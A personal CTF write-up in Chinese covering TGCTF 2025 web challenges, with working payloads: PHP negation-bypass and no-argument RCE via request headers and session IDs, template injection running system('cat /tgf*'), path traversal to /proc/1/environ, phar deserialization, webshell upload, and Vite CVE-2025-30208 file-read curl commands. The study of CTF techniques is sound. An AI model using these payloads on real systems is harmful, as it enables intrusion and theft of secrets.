当时,周六早九点开赛,晚上九点结束,但我七点就去机房开会了。做出了四道题目。
火眼辩魑魅
当时比赛时做出来了
1 | shell学姐会让青春CTF少年脸红吗?只有一个洞是通的,看不出来的话就尝试每个漏洞都试一遍哦,杂鱼~ |
我先是目录扫描,发现了robotx.txt
访问
1 | User-Agent: * |
六个,都可以访问,都有可能拿到flag,但只会是一个(题目告诉你了)。题目还告诉你shell学姐,其实就是gtshell.php的那个文件
对于第一个,http://127.0.0.1:51596/tgupload.php。
1 | Warning: move_uploaded_file(uploads/muma.php): failed to open stream: Permission denied in /var/www/html/tgupload.php on line 46 |
这个应该就是不可以的,我也没有试太多。好像学长是靠这个做了出来,我没有试太多
对于第二个,我是拿这个解出来的,但是看官方的wp,不是这个
1 | <?php |
我们抓包发送到reperter,修改请求方式,发现这里可以取反绕过
取反脚本
1 | <?php |
先system(‘ls /‘);,shell=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);
tgfffffllllaagggggg有这个,cat /tgfffffllllaagggggg
拿到flag
第三个tgxff是官方的做法,一进去显示你电脑的IP是:127.0.0.1
我们用hackbar来输入xff,输入49是有回显49的,但是你后面来输入其他的”.__class__这些都不可以*
我就以为不可以了,但是官方的wp
1 | {if system('cat /tgf*');}{/if} |
官方wp有点问题,分号不要
应该是:{if system(‘cat /tgf*’)}{/if},最后拿到flag了*
这里我还有一个问题是对于各种模板的注入,我基本只掌握了jinjia2的
1 | {if system('cat /tgf*')}{/if} 这种语法格式是特定模板引擎的表现。不同的模板引擎有着各自独特的语法规则。常见的像 Twig 模板引擎,它的语法风格就和常用的以 {{ }} 为输出、{% %} 为逻辑控制(如 Django、Jinja2 等模板引擎)有很大差异 。在 Twig 中,条件判断使用 {if} 和 {/if} 结构 ,如果在使用 Twig 等类似语法规则的模板引擎的项目中进行服务器端模板注入(SSTI)攻击,就可能会用到这种语法来构造恶意语句 |
第四个,是一个反序列化的,当时是问了ai,用了它的payload没有解决出来,就算了。没有细看
第五是只放出来数字这些,也没细看
第六个http://127.0.0.1:50092/tginclude.php,把你要包含的文件给显示出来,
我没有尝试很多,可能会有非预期的解能拿到flag
../../../../proc/1/environ试了这个不可以
直面天命
当时做出来了
filename随便读,这里读?filename=../../../../proc/1/environ。我读的是filename为flag也可以哎
我做出这道题也是非预期解,哈哈
首先是查看网页源代码,有个hint,告诉你还有一个路由,路由是由四个小写字母组成的
写一个脚本,把所有四个小写字母组成的情况写入一个文件,一行一行的,进行爆破,得到/aazz
后面直接出提示了,免费给你,就没有意思了
我们在这里访问/aazz
请求头有一个
inline; filename=file.html
我构造?filename=flag,直接拿到flag了
这里也可以使用?filename=../../../../proc/1/environ拿到flag
还有一些疑问问了ai
1 | ?filename=../../../../proc/1/environ,前面的四个../是什么意思,固定的吗 |
1改为2就不存在了,这样显示的
当然,这两种方法都是非预期解
1 | 这时候进行参数字典爆破。发现有一个filename可以传参。 |
后面就是一个ssti,我没有完全复现,它那个地址没搞懂,找不到页面
绕过的具体过程也不是很懂
AAA偷渡阴平
当时比赛时做出来了
1 | <?php |
这个应该有很多非预期解,所以后面上线了一个复仇版
?tgctf2025=print_r(pos(getallheaders())); 有回显,回显了close
Connection: close
我们改print_r为eval,再改close为我们要执行的命令,拿到flag
Connection: system(‘cat /flag’);,最后拿到flag
什么文件上传?
这个当时比赛时也做出来了,花了很多时间
访问robots.txt,有两个重要信息
1 | User-Agent: * |
一个就是之前也遇到过的,我们要写一个脚本,所有的三个小写字母的组合,一行一行地写进文件里面,然后我们去爆破
好像后缀是.atg这个。我试了.php.atg,.atg.php等等都不行,还有上传.htaccess,.user.ini这些都不可以。无法当成可执行的脚本,连接蚁剑这些都是不可以的
访问/class.php
1 | <?php |
这题非预期解是base64_encode()五次,并且直接传参filename。
直接获取shell。然后wow用POST传参,就是一句话木马,flag在环境变量。
当时用的是ai的链子
1 | <?php |
get方式传上面的结果,post方式传wow=tac /flag,最后拿到flag
AAA偷渡阴平(复仇)
这里就是把很多非预期解给禁了,需要你用他预期的方法
1 | <?php |
这不是明显的要你用预期解吗?禁的都是非预期解会用到的东西
考点总结:PHP session_id 绕过waf RCE
题目描述:web签到1。简单的PHP特性,ban了无参RCE
无参数命令执行请求头绕过:
preg_replace(‘/[^\W]+((?R)?)/‘,”,$_GET[‘code’])
只要在’code’里匹配到[^\W]+((?R)?\,则替换为空
[^\W]+((?R)?)
正则表达式[^\W]匹配字母、数字、下划线[A-Za-z0-9_1
[^\W]+(?)匹配到”ạ()“形式的字符串,但是()不能内出现任何参数
(?R)代表递归,即a(b(c()))都能匹配到
[^\W]+((?R)?)能匹配到a(),a(b(c(()))……格式的字符串,且()内不能有任何参数
只能执行函数,不能执行函数里有参数的。可以phpinfo,但是system这些就不可以。
http请求标头:getallheaders(),获取所有请求标头
当然,这个没有回显,可以使用print_r让他打印出来。这里的head内容是倒置的。用pos(getallheaders())就只返回最后一个,比如connection。我们还可以在外面加一个eval,再将connection的内容改为system()就可以了。
getallheaders()拿到的是自下而上的。
getallheaders()
获取所有 HTTP 请求标头
21:20
?code=print r(pos(getallheaders()));
pos()把第一项的值显示出来
向
4
?code=print r(end(getallheaders()));
end()把最后一项的值显示出来
Pos把第一项的值显示出来
apache request headers()
功能与getalheaders()相似,适用于Apache服务器
重点(即如何拿到flag):
我传入参数之后,pos(getallheaders)得到的结果是最后一个头部信息。我这时要用bp抓包,然后再改最后一个头部的内容为system(‘ls’);,这是就可以执行我要执行的命令了。
这个做题我自然的想到用到成功拿到flag了,算是会了
无参数全局变量RCE:(php5/7)
Php5下:
题目和上面的一样:
全局变量RCE
get_defined_vars()
返回所有已定义变量的值,所组成的数组
?code=print_r(get_defined_vars());
返回数组顺序为GET->POST->COOKIE->FILES
时.。
?code=print_r(pos(get_defined_vars()));&cmd=system(‘ls’);
结果返回的数组中有两个内容,一个是前面的那个,还有一个就是后面的cmd=system(‘ls’);
重点:怎么拿flag;
1.pos外再加一个end()
2.再改print_r为eval()
3.最后拿到flag
end获取GET的最后一项cmd的值system(‘ls’);
重庆橙子科技
Array
&1t;?php
error
span>
[code】=>print_r(pos(get defined vars()));
[cmd]=>system(‘ls’);
也可以用py脚本来执行…
无参数sessionRCE:,php5的
session(php7以下):
session_start():启动新会话或者现有会话,成功开始新会话返回TRUE,反之返回FALSE
?code=print_r(session_start());返回一个1
session_id(session_start()).外面可以再加一个print_r。
Print_r改为show_source(),用bp抓包修改PHPSESSID的值为./flag。用show_source读取flag文件源代码
重点:1.我抓包,cookie里有phpsessid=。。。
2.尝试print_r(session_id(session_)start())返回的结果是我的这个。。。
3.用bp将phpsessid的值改为./flag,改print_r为show_source。
4.最后拿到flag_
5.或者修改外部函数为eval(),修改phpsession的值为命令为‘phpinfo();’但是无法直接执行,需要先把命令’phpinfo();’HEX编码为十六进制,写入PHPSESSID.再用hex2bin函数将16进制改为而进制数,用eval()执行。?code=eval(hex2bin(session_id(session_start())));
session
?code=eval(hex2bin(session_id(session_start())))
修改外部函数为eval()
修改PHPSESSID的值为命令’phpinfo();
无法直接执行,需先把命令’phpinfo();HEX编码转为十六进制,写入PHPSESSID
再用hex2bin()函数将十六进制转换为二进制数,用eval执行
无参数scandir读取:
难点:函数特别多。只能进行文件读取
scandir()——列出制定路径的文件和目录,括号里面就是我要读取的文件
比如我要读取当前文件:
1 | print_r(scandir('.')); |
读C盘:print_r(scandir(‘C:’));
getcwd()类似linux中我输入pwd,查看当前的路径
current()——返回数组中的当前值
例如:我输入print_r(scandir(‘.’));在php代码里面
回显:
1 | Array |
加上current后就回显 (2).htaccess
next()就是显示第二个
array_reverse():返回单元顺序相反的
array_flip:交换数组中的键和值
array_rand——从数组中随机取出一个或多个随机键
chdir()系统调用函数,同cd,用于切换目录的
strrev()用于反转给定字符串
crypt():用来来加密,目前linux平台上加密方法大概有MD5,DES,3 DES
hebrevc:把希伯来文本从右至左的流转换为从左至右的流
?code=print_r(localeconv());这个显示第一项为点,我是就可以把参数传给current
?code=print_r(scandir(current(localeconv())));
还可以再在外面加一层scandir
这样就读取了目录’.’的所有文件名了
如果flag排在最下面,我们可以?code=print_r(array_reverse(scandir(current(localeconv))));
再套一个current这样只有一个flag.php了
我们把print_r换为show_source就可以拿到flag了
记得查看网页源代码
如果我要查看上一级的呢?
?code=print_r(getcwd());回显:/www/admin/localhost_80/class10
?code=print_r(scandir(getcwd()));回显:array(0=>1=>2=>1.php[3]=>flag)
接下来就是:?code=print_r(end(scandir*getcwd())
?code=show_source(end(scandir(getcwd)));
上面的getcwd是当前目录
dirname()上级目录?code=print_r(dirname(getcwd()));回显:/www/admin/localhost_80
后面的那个class10就没有显示了,我们再加一个scandir就将class,class11,index.heml,info.php这些都显示出来了
?code=print_r(scandir(dirname(getcwd())));
?code=print_r(end(scandir(dirname(getcwd()))));这样我就显示了info.php,但是这样化为show_source不可以读出来info.php。因为你是在下一级的文件下,看不了上一级的文件
回到开始?code=print_r(dirname(getcwd()));这样就显示了/www/admin/localhost_82/wwwroot
?code=print_r(chdir(dirname(getcwd())));这个就基本等于你切换到了上一个文件,回显的是:1代表切换成功了
?code=print_r(dirname(chdir(dirname(getcwd())));回显一个.
?code=print_r(scandir(dirname(chdir(dirname(getcwd())));回显class10,class11,index.html,Info.php
接下来可以end一下,换为show_source
这个方法更加适用更多情况:也可以先套上一个array_flip,回显array(【.]=>0[..]=>[class10]=>2……)
我再套上一个array_rand那么基本就可与试很多次达到我们要的效果
根目录的阅读:目的是出现的有斜杠
?code=print_r(array());,回显array()
?code=print_r(serialize(array()));回显:a:0:{}
?code=print_r(crypt(serialize()));cryptd单向字符串散列加密,结果随机
多执行几次,发现有次的后面出现了斜杠
?code=print_r(strrev(crypt(serialize()));这样斜杠就在最前面了
ord函数和chr()函数,只能对第一个进行转码
ord()编码,chr()解码
?code=print_r(ord(strrev(crypt(serialize()));
?code=print_r(chr(ord(strrev(crypt(serialize()));这样多式几次的结果就可能出现斜杠
再套scandir,读出flag呀,还有很多不要的
先套上一个array_flip,回显array(【.]=>0[..]=>[class10]=>2……)
我再套上一个array_rand那么基本就可与试很多次达到我们要的效果
要尝试很多次,我们可以使用bp来爆破。
选中?code=后面的内容,选择攻击类型方面的,number。from1~to10000
视频中还选了Chrome/108.0.0.0 Safari/537.36中的537.36
出现根目录了,也就是chr外面,再套一层chdir,再套一层dirname()
这是之前我看一些课程记得笔记,没遇到过自然不是很熟悉,也不太会用
把课再听一遍(相关部分),再补充一下笔记,再来做这道题目
?tgctf2025=session_start();system(hex2bin(session_id()));
PHPSESSID=636174202f666c6167 的十六进制
这个是无参数的命令执行,时间不是很够了,加上只是听过课没有做过先死的题目,所以当时比赛时没有做出来
我在这道题里先试着http://127.0.0.1:52393/?tgctf2025=eval(hex2bin(session_id(session_start())));
然后cookie传我们要执行的命令的HEX编码后的内容
,但是回显了炸弹
官方题解是http://127.0.0.1:52393/?tgctf2025=session_start();system(hex2bin(session_id()));
cookie传一样的
这里就应该是我的笔记有一些问题,session_id(session_start()):这是语义上有问题的写法,session_start() 是一个 副作用函数,返回的是布尔值(true/false),你把它作为参数传给 session_id() 没有意义
按照官方的解法,但是其实还有非预期解法
1.正常读文件的法子应该行不通了
注意到获取请求标头的函数只禁了getallheaders一个函数,但是跟getallheaders函数作用相同的函数还有其他的比如apache_request_headers,我们利用这个函数也可以获取请求标头。
get传system(hex2bin(key(apache_request_headers()))));请求头改为我们要执行的命令的HEX编码,然后随便赋值
key(apache_request_headers()) 的作用是:获取 HTTP 请求头数组的第一个键名。
1 | GET /?tgctf2025=system(hex2bin(key(apache_request_headers()))); HTTP/1.1 |
当然,我这里没有在本地拿到flag,但是可以认识一下这种用法
看的非预期解法都是和apache_request_headers相关,但是外面套了很多不一样的函数
(ez)upload
这个基本很难在复现了
有一个文件upload.php.bak里面有源码
1 | <?php |
第一步当然是要吃透代码,我们在这里让gpt来一步一步帮我们吃透
1 | 当然可以!我们慢慢来,一步一步帮你把这个代码吃透。🍳 |
有很多的方法,但是我个人觉得比较好的一个思路就是
第一步用%00尝试,但很快就发现不行,这里php版本过高(7.3.26)不能绕过第二步就尝试/这个非法字符,这里可以构造shell.php/.这样的文件来绕过pathinfo()的检查 原因大概是:pathinfo()检查.后的内容为空,正常绕过;但是这个文件因为包含非法字符/,所以不会出现在创建的文件名里
你现在可以在win下试试,文件不能输入/
只这样的话就会出现新的报错
根据源码来看,应该是先创建了一个临时文件用来检测内容,再将这个临时文件复制给uploads下的文件,但由于我们的文件名是shell.php/.,本来不应该存在,但$file_name = basename($_FILES[‘name’][‘name’]);将文件名拆分后,再去下面拼凑新路径时出错估计出题人也想到了这个问题,特地留了一个用GET传文件名的方法来防止刚刚的报错,再次构造请求包发送一句话木马。这时我们的文件名后缀就可以随便改了
其他的方法也有上传.user这些也能的,但是我觉得上面的是思路比较好的一个方法
这里还是无法复现,只能写写思路了
TGCTF 2025 后台管理
这个可能短暂时间内无法解决
TG_wordpress
这个也是
什么文件上传(复仇版)
这里我爆出的.atg后缀就是可以用的了
文件上传+phar反序列化
这里主要重写了best64_decode函数,导致我们无法控制这里的filename触发反序列化,但是根据file_exists和文件上传点,考虑phar反序列化
生成phar文件
1 | <?php |
生成的phar.phar发现上传不了,我们上传.atg后缀的文件
回到class.php
?filename=phar://./uploads/phar.atg
wow=cat /proc/self/environ
后面再好好整理一下相关的做法
#还有还几道题目,感觉和现在的我的差距也是比较大,可能短暂时间内还做不出来这些题目,就先这样了
最后就是一个系列的题目还可以再冲刺一下
前端GAME
发现了这里的vite想起这里是有一个任意文件读取的漏洞的,简单搜索一下得到CVE-2025-30208
1 | curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" |
本题
1 | curl "http://node2.tgctf.woooo.tech:30758/@fs/tgflagggg?import&raw??" |
当然,可以直接读
1 | http://127.0.0.1:60924/@fs/tgflagggg?import&raw?? |
就可以了
前端GAME Plus
可以直接
1 | http://127.0.0.1:61546/@fs/app/?../../../tgflagggg?import&?raw |
也可以/@fs/tgflagggg?import&?meteorkai.svg?.wasm?init
这个payload拿到的文件内容需要base64解码
ULTRA版本的前端GAME
默认的flag文件是tgflagggg
/@fs/app/#/../../../../../tgflagggg
但是也可以考虑通过环境变量读取
/@fs/app/#/../../../../../proc/self/environ
这个用bp来读
GET /@fs/app/#/../../../../../tgflagggg HTTP/1.1
Host: 127.0.0.1:62004